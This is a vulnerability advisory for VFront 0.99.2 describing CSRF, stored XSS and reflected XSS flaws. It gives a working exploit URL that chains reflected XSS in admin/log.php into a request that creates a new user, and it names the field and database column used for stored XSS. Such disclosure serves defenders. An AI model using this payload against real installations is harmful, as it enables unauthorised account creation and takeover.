Advisory Information:
====================================
CSRF, Persistent XSS & reflected XSS



Vulnerability Detail(s):
=======================


CSRF:
=========
No CSRF token in place, therefore we can add arbitrary users to the system.


Persistent XSS:
================
variabili.php has multiple XSS vectors using POST method, one input field 'altezza_iframe_tabella_gid' will store XSS payload
into the MySQL database which will be run each time variabili.php is accessed from victims browser.


Persisted XSS stored in MySQL DB:
=================================
DB-----> vfront_vfront
TABLE-----> variabili
COLUMN------> valore (will contain our XSS)


Exploit code(s):
===============


CSRF code add arbitrary users to system:
=======================================
http://localhost/vfront-0.99.2/vfront-0.99.2/admin/log.php?op="/><script>var xhr%3dnew XMLHttpRequest();xhr.onreadystatechange%3dfunction(){if(xhr.status%3d%3d200){if(xhr.readyState%3d%3d4){alert(xhr.responseText);}}};xhr.open('POST','utenze.db.php?insert_new',true);xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');xhr.send('nome%3dhyp3rlinxe%26cognome%3dapparitionsec%26email%3dx@...om%26passwd%3dhacked%26passwd1%3dhacked');</script>&tabella=&uid=&data_dal=All&data_al=All



Persistent XSS:
================
http://localhost/vfront-0.99.2/vfront-0.99.2/admin/variabili.php?feed=0&gidfocus=0
Inject XSS into 'the altezza_iframe_tabella_gid' input field to store in database.
